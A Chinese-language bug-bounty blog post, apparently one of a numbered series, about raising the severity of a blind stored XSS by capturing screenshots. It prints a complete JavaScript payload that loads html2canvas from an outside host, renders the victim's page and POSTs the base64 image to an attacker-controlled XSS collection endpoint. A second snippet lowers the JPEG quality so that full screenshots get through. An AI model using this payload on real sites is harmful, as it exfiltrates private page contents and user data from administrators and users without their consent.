1. 程式人生 > 其它 >12. xss bypass xss截圖

12. xss bypass xss截圖

技術標籤:src


layout: post
title: 12. xss bypass
category: SRC
tags: SRC
keywords: SRC,XSS

前言

該篇記錄為記錄實際的src過程第12篇小文章,內容為某網站的xssbypass。

盲打儲存xss

一般的儲存xss,會遇到兩種情況:

  1. 可以公網訪問,則視後臺的敏感程度定危害,一般可到高危。
  2. 不可以公網訪問,打到cookie,如果沒有證明危害,一般會給中危。
  3. 可蠕蟲的使用者xss,高危
  4. 不可蠕蟲的普通的使用者級別儲存xss,中危

提升危害的方法

對於第二種情況,能想到的提升危害的方法就是xss截圖。

document.
write("<script src=\"https:\/\/xxxxx\/html2canvas.js\"><\/script>"); window.onload = function () { html2canvas(document.body, { onrendered: function (canvas) { //下面開始把抓取到的螢幕圖片程式碼傳輸和接收,由於程式碼非常的長,只能使用post xhr = function () { var
request = false; if (window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if (window.ActiveXObject) { try { request = new window.ActiveXObject('Microsoft.XMLHTTP'); } catch
(e) { } } return request; }(); request = function (method, src, argv, content_type) { xhr.open(method, src, false); if (method == 'POST') xhr.setRequestHeader('Content-type', content_type); xhr.send(argv); //傳送POST資料 return xhr.responseText; }; attack_a = function () { var src = "https://xxxx/xss.php?do=api&id={projectId}"; //post接收地址 var argv_0 = "'&screenshot=" + canvas.toDataURL(); //post欄位名稱為screenshot request("POST", src, argv_0, "application/x-www-form-urlencoded"); }; attack_a(); } }); }

但是這種平臺遇到的問題就是,有時候圖片資料過大,轉為base64傳過來的時候會少資料。
這個時候就可以減少畫素傳輸的方式將完整的圖片傳過來。

解決辦法

var fullQuality = canvas.toDataURL("image/jpeg", 1.0);
// data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ...9oADAMBAAIRAxEAPwD/AD/6AP/Z"
var mediumQuality = canvas.toDataURL("image/jpeg", 0.5);
var lowQuality = canvas.toDataURL("image/jpeg", 0.1);

最後的效果看,還是能夠清楚的看到使用者的資料的。

後話

xxxxx